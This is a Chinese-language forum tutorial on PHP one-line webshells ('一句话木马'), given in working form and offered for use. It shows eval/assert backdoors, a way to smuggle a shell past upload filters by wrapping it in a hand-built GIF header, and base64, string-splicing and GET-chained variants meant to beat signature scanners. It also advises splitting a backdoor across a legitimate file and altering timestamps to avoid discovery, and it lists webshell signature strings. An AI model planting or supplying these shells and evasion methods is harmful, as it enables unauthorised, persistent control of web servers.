php一句话后门特征码与免杀

作者:YoCo Smart - 习科论坛
总结一下而已。不是很深奥。首先我们要明白什么是一句话木马。
一句话是一种特征性很强的脚本后门的统称和简称,其特征就是代码很短,短到甚至只有一句话,但是却能用这句很短的代码,完成无数的复杂功能。
我们来对下面这样的一个一句话进行简单剖析:

<?php eval($_POST['bckdor']);?>

这是php的一句话后门中最普遍的一种。它的工作原理是这样的:

首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。

那么这个一句话的完整格式就是:

<?php
//这里是识别标签
$bkd = $_POST['bckdor']; //通过HTTP的POST方式取值变量bckdor的内容
eval($bkd); //将bckdor里的内容放入执行
/*标签结束*/
?>

例如我们要执行phpinfo();'来查看系统的php环境信息,就

<form method="post">
<input type="text" value="phpinfo();">
<input type="submit" value="提交">
</form>

我们就能查看phpinfo()了。关于客户端我们不多赘言,我们只看一句话木马。
原来的一句话中,我们可以注意到多出来一个变量$bkd,这是为了让大家看的更明白。
$bkd暂存bckdor的内容,然后再递交给eval()执行。

说了这么多,原理讲明白了。但是毕竟因为体积过小,使用函数过少,很容易被杀软清除,而且现在有很多的防火墙和防护软件尤其是Web防护程序,拦截的是死死的

我们先来说非常一个常见的拦截系统,上传的时候上传一句话,系统提示上传的有关键字。一句话都有关键字了,其他大马就更不行了。
那么说一下这种拦截方式的突破方法。拦截原理其实就是简单的审查ascii码,如果我们把文件换成HEX码格式或者加上gif头部的话。。。拦截系统就没用了。
那么我们来看看方法。
其实所谓的HEX格式也就是图片格式。我讲一个我常用的方法吧。
用Winhex新建一个文件,设定大小为70字节,将下面的内容覆盖进去

4749463839610A000E00E70000000000800000008000808000000080800080008080C0C0C0C0DCC0

覆盖方式为ASCII转HEX,这样就覆盖了前40个字节,这40个字节的内容是GIF的头部格式。然后在第70个字节,也就是最后一个字节上写入3C,也就是分号“;”
后面还有29个字节呢?我们把GIF的头和脚构造出来了,虽然头像火星人,脚像水星人,不过和一句话这个身子组合起来,还是有点“图片”范儿的。
那么中间这27个字节就是:

<?php @eval($_POST['c']);?>

还有那俩字节你就自由发挥好了,例如c换成cmd之类的。我只是为了凑个整数,看着差不多,建了个70字节而已,没有什么其他特殊寓意。
还有个方法,你可以屏幕截个很小很小的图,然后保存为xx.gif用Winhex编辑,方法同上。
这个方法是举一反三的,最不建议的就是用记事本直接在一句话前面加GIF89a?这个方法了。因为记事本会留下BOM头部,出来的文件如果非常非常严格拦截的话,是轻易就被拦截的。

要说这个HEX格式文件的突破拦截方法是真不错,可是就是有些杀软和防护软件不从POST数据拦截,直接从执行处拦截,传是传上去了,可是一执行就被拦了。
我们看一下特征码拦截法,例如专门拦截特征码“eval($_POST[“,突破这个嘛也不难。既然这个是特征码法,只要没有把eval禁用,就可以消除掉特征码。
消掉特征码的方法很简单,我们来看一个简单的编码方式:base64编码,这个编码简单而且php自带编码与反编码的函数。
我们把$_POST['c']这串字符进行base64编码,就得到了字符串JF9QT1NUWydjJ10=,然后在一句话里面这么改:

<?php @eval(base64_decode('JF9QT1NUWydjJ10='));?>

如果把密码改成别的再base64编码,这样的一句话不太容易出现特征码。
说起Base64编码,其实也有个编码的方法,不过很麻烦的

<?php @eval($_GET[$_GET[xyz]]);?>

用法就是.php?xyz=cmd&cmd=phpinfo(); 原理应该很容易分析明白,用GET的方法取值,取值为”cmd”,以cmd为名字,取cmd的值再执行,当然可以GET多次扩展。 例如我们套5个圈:

<?php @eval($_GET[$_GET[$_GET[$_GET[$_GET['x1']]]]]);?>

然后这样:.php?x1=x2&x2=x3&x3=x4&x4=x5&x5=phpinfo();
GET的方式在突破拦截和监控上面其实并不是很实用。
因为我们我们看上面的变化,就算是再变来变去,还是有一个eval()函数。

这里先整理一份php木马的特征码:

eval一句话特征eval(
大马read特征->read()
大马readdir特征3readdir(
MYSQL自定义函数语句returns string soname
加密特征1eval(gzinflate(
加密特征2eval(base64_decode(
加密特征3base64_decode(
eval一句话2eval (
php复制特征copy($_FILES
复制特征2copy ($_FILES
上传特征move_uploaded_file($_FILES
上传特征2move_uploaded_file ($_FILES
小马特征str_replace(\'\\\\\',\'/\

上面说了,这个eval()函数要是禁用了或者被监控了,那岂不是要傻逼了?
当然不会。还有个可以代替eval()函数的函数assert(),例如:

<?php @assert($_POST['c']);?>
<?php @eval($_POST['c']);?>

这两个是可以互换的。不过嘛,assert()比eval()既有优点也有缺点。
assert可以通过别的方式定义使用,而eval()则不行。缺点是eval()一般不会被禁用,assert()经常会被禁用。
我们可以用字符串组合法隐藏assert():

<?php
$str = 'aerst';
$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
@$func($_POST['c']);
?>

上面这种格式,和一句话差距太大了。。。
当然,如果有意留后门,上面的语句还是不错的。例如在某个php文件的前面部分,写$str='aerst';
在中间部分写$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};在最后部分写@$func($_POST['c']);
拆开写后门,改改时间戳发现的几率很小,因为没有特征码。
我们换换思路。如果不用字符串拼接法,怎么获取函数的名字呢?

<?php
$funct = $_GET['x'];
@$funct($_POST['cmd']);
?>

然后我们拼一下,跟第一个一句话一样,把中间传递值的$funct变量删掉合并:

<?php @$_GET[n]($_POST[cmd]);?>

函数由GET方式获得,执行的代码由POST获得。
一句话配置就这样配置,地址为xx.php?n=assert
密码为cmd

这样的木马找起来或者杀起来,难度也不大,最省事的办法就是,直接禁用assert()函数。
要是负责任一点,可以搜索日志中的assert,因为GET值是必须GET一个assert的

如果遇到这样的负责任的变态的管理员,其实也有办法例如:

<?php $c=$_GET[n].'t';@$c($_POST[cmd]);?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[cmd]);?>

总之变化无穷。当然了,技术也就是在管理员和黑客的这样的博弈中慢慢进步的。